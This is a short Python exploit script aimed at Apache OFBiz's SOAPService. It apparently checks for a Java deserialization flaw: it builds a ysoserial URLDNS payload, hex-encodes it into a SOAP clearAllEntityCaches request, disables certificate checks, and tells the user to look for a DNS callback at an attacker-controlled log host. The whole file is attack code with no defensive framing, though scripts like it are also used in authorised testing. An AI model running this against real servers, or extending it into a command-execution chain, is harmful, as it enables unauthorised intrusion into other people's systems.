import requests
import sys
import subprocess
import binascii
from urllib3.exceptions import InsecureRequestWarning

def transfor(content):
    return binascii.hexlify(content)
def main():
    res = subprocess.Popen(['java','-jar', 'ysoserial.jar', "URLDNS", dnslog, '>data.ot'], shell=True)
    res.wait()
    with open('data.ot','rb') as f:
        content = f.read()
    hex_data = transfor(content)
    headers = {'Content-Type': 'text/xml'}
    post_data = '''<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/"><ns1:cus-obj>%s</ns1:cus-obj></ns1:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>''' % hex_data
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    try:
        res = requests.post('%s/webtools/control/SOAPService' % host , data = post_data , headers = headers , verify=False)
        if  res.status_code == 200 :
            print("[+]Done! check your dnslog: " + dnslog)
    except:
        print("[!]Request error!")

if __name__ == '__main__':
	host = sys.argv[1]
	dnslog = sys.argv[2]
	main()
